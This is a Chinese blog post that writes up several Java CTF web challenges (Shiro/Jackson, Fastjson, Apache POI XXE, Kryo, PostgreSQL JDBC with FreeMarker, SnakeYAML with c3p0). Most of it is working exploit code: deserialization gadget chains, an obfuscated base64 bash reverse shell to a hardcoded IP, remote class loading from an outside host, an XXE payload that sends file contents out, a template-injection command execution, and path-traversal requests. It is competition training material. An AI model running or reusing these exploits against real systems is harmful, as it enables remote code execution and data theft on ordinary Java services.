                            }
    
                            return obj;
                        }
    
                        return data;
                    }

JDBC反序列化参考文章

[红明谷CTF 2021]JavaWeb

  1. 进入页面访问/login可以看到只有/json ,访问/json发现呗重定向回了/login ,但是url上面多了/login;jsessionid=35644838E2C7601CF664314DA3CEE590这样的字眼,很明显是Shiro框架,尝试下Shiro权限绕过,确实绕过成功了,并且发现了报错,用的是jackson框架。

    在这里插入图片描述

  2. 尝试下JdbcSetImple链子,发现打不通,触发了security,再试其它链,包括CC链,ClassPathXmlApplicationContext链都不通。

    在这里插入图片描述

  3. 最终是通过ch.qos.logback.core.db.JNDIConnectionSource打通了,起一个RMI服务,实例化恶意类即可。

    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
         public Exploit(){
                 try{
                     Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzcwMDAgMD4mIDE=}|{base64,-d}|{bash,-i}");
                                    }catch(Exception e){
                                                e.printStackTrace();
                                                 }
                    }
             public static void main(String[] argv){
                             Exploit e = new Exploit();
                                }
    }
    ~       

    在这里插入图片描述

    [HZNUCTF 2023]easyjava

  4. 进入页面,可以看到直接提示了fastjson1.2.48

    在这里插入图片描述

  5. log应该是log4j,试一下,ldap服务能够接收到请求,然后就试下普通的反弹shell,但是无论怎么样都反弹不回来(至于它是怎么做到只剩下fastsjon能用的,我也很好奇),那么这里只能用fastjson原生反序列化来打,原生反序列化通过JSON#toString->json#toJSONString->get方法,exp如下:

    package com.example.demo;
    
    import com.alibaba.fastjson.JSONArray;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtConstructor;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    
    public class exp{
        public exp() {
            try {
                start();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static void start() throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.makeClass("a");
            CtClass superClass = pool.get(AbstractTranslet.class.getName());
            clazz.setSuperclass(superClass);
            CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
            constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzcwMDAgMD4mIDE=}|{base64,-d}|{bash,-i}\");");
            clazz.addConstructor(constructor);
            byte[][] bytes = new byte[][]{clazz.toBytecode()};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setValue(templates, "_bytecodes", bytes);
            setValue(templates, "_name", "1111");
            setValue(templates, "_tfactory", null);
            JSONArray jsonArray = new JSONArray();
            jsonArray.add(templates);
            BadAttributeValueExpException val = new BadAttributeValueExpException(null);
            Field valfield = val.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(val, jsonArray);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
            objectOutputStream.writeObject(val);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            ois.readObject();
        }
        public static  byte[] serialize(Object object) throws IOException {
            ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(object);
            return byteArrayOutputStream.toByteArray();
        }
        public static void setValue(Object obj, String name, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
        static {
            {
                try {
                    start();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
    
    这里不能留package com.example.demo;,所以需要把代码拖出去IDEA,使用javac -cp指定jar包的形式编译成class,当编译成class后,起一个ldap服务器通过lookup实例化这个恶意exp的时候,发现并没有成功,它访问了ldap服务,但是没有去python起的服务取文件

    在这里插入图片描述

  6. 感觉应该是java版本的问题,在高版本的 java中,会有com.sun.jndi.ldap.object.trustURLCodebase=false导致无法ldap攻击,但是可以使用javaSerializedData属性绕过,完整的exp如下:

    package com.example.hznuctf2023;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import com.unboundid.util.Base64;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.URL;
    //高版本LDAP绕过
    
    public class LDAPServer {
        private static final String LDAP_BASE = "dc=example,dc=com";
    
        public static void main ( String[] tmp_args ) throws Exception{
            String[] args=new String[]{"http://localhost/#Evail"};
            int port = 6666;
    
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "foo");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
    
                e.addAttribute("javaSerializedData", Base64.decode("exp的base64"));
    
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }
    }

    代码使用了 UnboundID LDAP SDK 库来实现 LDAP 服务器功能。在 main 方法中,配置了一个基于内存的 LDAP 服务器,并指定了监听的端口号为 6666。然后创建了一个 InMemoryDirectoryServer 实例,并开始监听指定端口。

    OperationInterceptor 内部类中,实现了对 LDAP 操作的拦截和处理。在 processSearchResult 方法中,处理搜索请求的拦截结果。在 sendResult 方法中,构造了一个虚假的 LDAP 结果,并将其返回给客户端。

    在接收返回结果的时候会对javaSerializedData进行反序列化处理,可以绕过trustCodeBase限制。

        public static void main(String[] args) throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.makeClass("aiwin");
            CtClass superClass = pool.get(AbstractTranslet.class.getName());
            clazz.setSuperclass(superClass);
            CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
            constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzcwMDAgMD4mIDE=}|{base64,-d}|{bash,-i}\");");
            clazz.addConstructor(constructor);
            byte[][] bytes = new byte[][]{clazz.toBytecode()};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setValue(templates, "_bytecodes", bytes);
            setValue(templates, "_name", "1111");
            setValue(templates, "_tfactory", null);
            JSONArray jsonArray = new JSONArray();
            jsonArray.add(templates);
            BadAttributeValueExpException val = new BadAttributeValueExpException(null);
            Field valfield = val.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(val, jsonArray);
            byte[] serialize = serialize(val);
            System.out.println(Base64.getEncoder().encodeToString(serialize));
    
        }
  7. LDAPServer打包成jar,开启,监听端口即可获得反弹shell。

    在这里插入图片描述

[网鼎杯 2020青龙组]FileJava

Apache POI 提供一组用于操作 Microsoft Office 文件的 API,包括读取/写入文档内容、样式、格式和元数zhiqian1据等。通过使用 Apache POI,开发人员可以创建、编辑和保存 Microsoft Office 文件,从而实现对这些文件的自动化处理。它在4.10版本之前存在多个漏洞,这题是一个CVE-20143529

漏洞的触发点在ZipPackage#getPartsImpl里面,它通过while循环遍历所有的Entry寻找[Content_Types].xml,进入到ContentTypeManager#parseContentTypesFile,最终获取到Document对象后,通过builder类进行xml解析导致了xxe

在这里插入图片描述

  1. 进入页面,发现文件上传,随便上传点东西会发现有文件下载,这里存在目录穿越,可下载所有的class文件,但是flag不行。

    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
        
    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
      
    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
    
  2. 分析一下源码,发现在UploadServlet中存在一段org.apache.poi的代码,能够造成XXE

                                   Workbook wb1 = WorkbookFactory.create(in);
                                        Sheet sheet = wb1.getSheetAt(0);
                                        System.out.println(sheet.getFirstRowNum());
  3. 直接盲注XXE打,修改xlsx中的Content-Type文件,在第二行加上payload

    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://ip/file.dtd">
    %remote;%int;%send;
    ]>
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port?p=%file;'>">
    重新压缩后,注意命名必须为excel-开头才会进入到xml解析

在这里插入图片描述

[CISCN 2023 西南]seaclouds

看源码发现只有很小一部分,唯一可疑的部分就是:

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
        return messagecode.getPayload();

上gpt搜一下这个类是什么用于消息转换的,分别有两个对应方法fromMessageToMessage,分别对应encodedecode方法,使用GenericMessage进行封装。在这里插入图片描述

decode方法进行调试,发现它会进到kryo.readObject()中,也就是说这里可以触发kyro反序列化的打法,kyroHessian是一类的,都是基于Field机制,会进入到hashMap.put中,因此可以用Hessian的链子来打

在这里插入图片描述

首先尝试下templatesImpl链子

kyro#readObject()->hashMap#put()->HotSwappableTargetSource#equals()->Xstring#equals()->BaseJsonNode#toString()->templatesImpl#getOutputProperties()
public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_name","aiwin");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        POJONode pojoNode=new POJONode(templates);
        HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(1);
        HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(2);
        HashMap hashMap=new HashMap();
        hashMap.put(hotSwappableTargetSource,"1");
        hashMap.put(hotSwappableTargetSource1,"2");
        setFieldValue(hotSwappableTargetSource,"target",pojoNode);
        setFieldValue(hotSwappableTargetSource1,"target",new XString("a"));
        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload(); 
    }

发现没通,报了Null指针异常,调试进入发现即使给_factory赋值了,最终还是会变成null从而触发异常,因为_tfactorytransient修饰的,不能参与序列化和反序列化。

在这里插入图片描述

那么可以尝试下二次反序列化,这样就无关_tfactory了。

kyro#readObject()->hashMap#put()->HotSwappableTargetSource#equals()->Xstring#equals()->BaseJsonNode#toString()->SignedObject#getObject()->HashMap#readObject()->templatesImpl#getOutputProperties()

然后直接运行就能够打通,这里还尝试了一下spring aop那些链子,发现都是空指针异常,打不成功。

public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_name","aiwin");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
        POJONode pojoNode=new POJONode(templates);
        HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(1);
        HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(2);
        HashMap hashMap=new HashMap();
        hashMap.put(hotSwappableTargetSource,"1");
        hashMap.put(hotSwappableTargetSource1,"2");
        setFieldValue(hotSwappableTargetSource,"target",pojoNode);
        setFieldValue(hotSwappableTargetSource1,"target",new XString("a"));
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
        POJONode pojoNode1=new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource(3);
        HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource(4);
        HashMap hashMap1=new HashMap();
        hashMap1.put(hotSwappableTargetSource2,"1");
        hashMap1.put(hotSwappableTargetSource3,"2");
        setFieldValue(hotSwappableTargetSource2,"target",pojoNode1);
        setFieldValue(hotSwappableTargetSource3,"target",new XString("b"));
        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        GenericMessage genericMessage = new GenericMessage(hashMap1);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
        System.out.println(Base64.getEncoder().encodeToString(decodemsg));
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload();
    }

在这里插入图片描述

开始打题目,发现题目是不出网的,打个内存马进去即可。
在这里插入图片描述

在这里插入图片描述

[第六届安洵杯]ezjava

源码:

package com.ctf.axb;

import java.io.ByteArrayInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String Index(Model model) {
        return "index";
    }

    @RequestMapping({"/read"})
    @ResponseBody
    public String Make(String exp) {
        byte[] bytes = Base64.getDecoder().decode(exp);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

        try {
            MyObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
            ois.readObject();
            return ":)";
        } catch (Exception var5) {
            var5.printStackTrace();
            return var5.toString();
        }
    }
}
只有一个触发反序列化,明示了,求打,但是用了自定义的MyObjectInputStream类,重写了ObjectInputStream

重写了ObjectInputStream的序列化类

package com.ctf.axb;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;
import java.util.Iterator;

public class MyObjectInputStream extends ObjectInputStream {
    private static ArrayList<String> BLACKLIST = new ArrayList();

    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        Iterator var2 = BLACKLIST.iterator();

        String s;
        do {
            if (!var2.hasNext()) {
                return super.resolveClass(desc);
            }

            s = (String)var2.next();
        } while(!desc.getName().startsWith(s));

        throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
    }

    static {
        BLACKLIST.add("com.sun.jndi");
        BLACKLIST.add("com.fasterxml.jackson");
        BLACKLIST.add("org.springframework");
        BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
        BLACKLIST.add("java.security.SignedObject");
        BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        BLACKLIST.add("java.lang.Runtime");
        BLACKLIST.add("java.lang.ProcessBuilder");
        BLACKLIST.add("java.util.PriorityQueue");
    }
}
禁了很多常见的链子,禁止使用jackson进行原生反序列化,禁止用spring aop的打法,禁止了二次反序列化,但是还是留了一些链子,但是都是断的,比如说CB链子触发getter方法,但是CB链常用的入口PriorityQueue被禁用了,这里用的还是CC-3.2.2,多了一个小版本,会多出一个checkUnsafeSerialization函数(找到类的实例化方法可以绕,但是这里显然没有),最终就还剩下freemarkerpostgresql可以用了,感觉应该是跟mysql那打法有点像,通过CB触发getConnection函数。

在这里插入图片描述

搜到这个文章:CVE-2022-21724,是一个Psql JDBC RCE,确实是打psql无疑了。

再看start.sh文件,不给出网,那只能使用文章中任意文件写入 loggerLevel/loggerFile来写入模板文件了。

iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP //阻止所有新的输出连接。
iptables -P OUTPUT DROP  //默认情况下阻止所有输出连接。
iptables -n -L

看文章,应该就是里面shellContent的内容能够被写入到指定的file里面,找一下关于freemaker注入的文章,发现这个

freemarker模板注入

在这里插入图片描述

这个刚好是符合这个题目的,它设置了spring.freemarker.expose-spring-macro-helpers=true,所以shellConent就是这个payload的内容。
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

现在剩下的问题就是怎么触发CB链中的Compare方法,在TreeMap#put()方法是可以触发Compare()或者CompareTo()的。

    public V put(K key, V value) {
        Entry<K,V> t = root;
        if (t == null) {
            compare(key, key); // type (and possibly null) check
            root = new Entry<>(key, value, null);
            size = 1;
            modCount++;
            return null;
        }
        int cmp;
        Entry<K,V> parent;
        // split comparator and comparable paths
        Comparator<? super K> cpr = comparator;
        if (cpr != null) {
            do {
                parent = t;
                cmp = cpr.compare(key, t.key);
                if (cmp < 0)
                    t = t.left;
                else if (cmp > 0)
                    t = t.right;
                else
                    return t.setValue(value);
            } while (t != null);
        }
        else {
            if (key == null)
                throw new NullPointerException();
            @SuppressWarnings("unchecked")
                Comparable<? super K> k = (Comparable<? super K>) key;
            do {
                parent = t;
                cmp = k.compareTo(t.key);
                if (cmp < 0)
                    t = t.left;
                else if (cmp > 0)
                    t = t.right;
                else
                    return t.setValue(value);
            } while (t != null);
        }
        Entry<K,V> e = new Entry<>(key, value, parent);
        if (cmp < 0)
            parent.left = e;
        else
            parent.right = e;
        fixAfterInsertion(e);
        size++;
        modCount++;
        return null;
    }

至于怎么触发TreeMap#put(),题目中留了CC链子,可以用前半部分即TiedMapEntry来触发,整个链子就是

BadAttributeValueExpException#readObject()->TiedMapEntry#getValue()->LazyMap#get()->TreeMap#put()

所以整个题目的链子就串联起来了:

BadAttributeValueExpException#readObject()->TiedMapEntry#getValue()->LazyMap#get()->TreeMap#put()->BeanComparator#compare()->BaseDataSource#getConnection()->org.postgresql.Driver#setupLoggerFromProperties()->org.postgresql.Driver#connect()->写入文件

整个exp如下:

package com.app;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.postgresql.ds.PGSimpleDataSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.Base64;
import java.util.TreeMap;

public class psqlConnection {

    public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        String loggerLevel="debug";
        String loggerFile="/app/templates/index.ftl";
        String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        PGSimpleDataSource pgSimpleDataSource=new PGSimpleDataSource(); //DataSource子类
        pgSimpleDataSource.setURL(jdbcUrl);
        BeanComparator beanComparator=new BeanComparator();
        setFieldValue(beanComparator, "property", "connection");
        TreeMap treeMap=new TreeMap(beanComparator);
        ConstantFactory constantFactory=new ConstantFactory("1");
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(treeMap,constantFactory);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,pgSimpleDataSource);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
        byte[] result=serialize(badAttributeValueExpException);
        String exp=Base64.getEncoder().encodeToString(result);
        System.out.println(exp);
        
//        byte[] bytes = Base64.getDecoder().decode(exp);
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
//        objectInputStream.readObject();
    }
    public static void setFieldValue(Object obj,String field,Object val) throws NoSuchFieldException, IllegalAccessException {
        Field field1=obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj,val);
    }
    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
}

在这里插入图片描述

在这里插入图片描述

[CISCN2023华北]normal_snake

直接看源码:

package com.ctf.controller;

import com.ctf.security.CustomException;
import com.ctf.security.SafeConstructorWithException;
import com.ctf.security.SafeStringException;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;

@RestController
public class IndexController {
    public IndexController() {
    }

    @GetMapping({"/"})
    public String index() {
        return "Welcome!";
    }

    @RequestMapping({"/read"})
    public String hello(@RequestParam(name = "data",required = false) String data, Model model) {
        try {
            if (data.contains("!!")) {
                return "pls dont do that!!!";
            } else {
                new SafeConstructorWithException(data);
                Yaml yaml = new Yaml();
                yaml.load(data);
                return "Well done";
            }
        } catch (SafeStringException var4) {
            return "Unsafe data detected!";
        } catch (CustomException var5) {
            return "No way to pass!";
        } catch (Exception var6) {
            return "snake snake snake!";
        }
    }
}
直接通过Yaml.load()加载了传入的data数据,看了下依赖是snakeyaml-1.30.jar,存在yaml的反序列化的打法。

再看SafeConstructorWithException,过滤了!! JAVA JNDI JDBC以及十六进制编码的BadAttributeValueExpException HotSwappableTargetSource

package com.ctf.security;

public class SafeConstructorWithException {
    private static final String JAVA_STRING = "JAVA";
    private static final String JNDI_STRING = "JNDI";
    private static final String JDBC_STRING = "JDBC";
    private static final String CUSTOM_STRING1 = "42616441747472696275746556616C7565457870457863657074696F6E";
    private static final String CUSTOM_STRING2 = "486F74537761707061626C65546172676574536F75726365";
    private final String data;

    public SafeConstructorWithException(String data) throws SafeStringException, CustomException {
        this.data = data;
        this.checkForExceptions();
    }

    private void checkForExceptions() throws SafeStringException, CustomException {
        String upperCaseData = this.data.toUpperCase();
        if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
            if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
                throw new CustomException("No way to pass!");
            }
        } else {
            throw new SafeStringException("Unsafe data detected!");
        }
    }
}

仔细看依赖,发现在pom.xml中加上了c3p0 0.9.5.2,明显就是打c3p0的依赖了,这里过滤的东西完全都可以通过c3p0的二次反序列化来绕过,因此snakeyaml解析触发到最后是因为property.set()触发set方法,同样就可以触发setuserOverridesAsString,可以通过c3p0的二次反序列化打c3p0的动态类加载,这里tomcat的依赖已经到9,也就不存在beanFactory不出网的打法了,直接打ReferenceableUtils.referenceToObject进行类加载即可。

事实上解题的时候,卡了,以为是不出网了,试了下不出网打法,发现不可行。

exp如下:

package com.app;


import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import org.yaml.snakeyaml.Yaml;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class normal_snake {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
           return new Reference("exploit","evil","http://120.79.29.170:9999/");
//            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
//            resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//            resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')"));
//            return resourceRef;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        C3P0 c3P0=new C3P0();
        PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
        Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
        String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase));
        String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
        System.out.println(poc);
//        Yaml yaml=new Yaml();
//        yaml.load(poc);
//        byte[] result=serialize(poolBackedDataSourceBase);
//        unserialize(result);
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        outputStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static  void unserialize(byte[] s) throws IOException, ClassNotFoundException {
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static String byteArrayToHexString(byte[] byteArray) {
        StringBuilder sb = new StringBuilder();

        for (byte b : byteArray) {
            sb.append(String.format("%02X", b));
        }

        return sb.toString();
    }

}
~  ~  The   End  ~  ~


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文章标题:CTF-Java题记录
文章链接:https://aiwin.fun/index.php/archives/1677/
最后编辑:2024 年 2 月 14 日 20:24 By Aiwin
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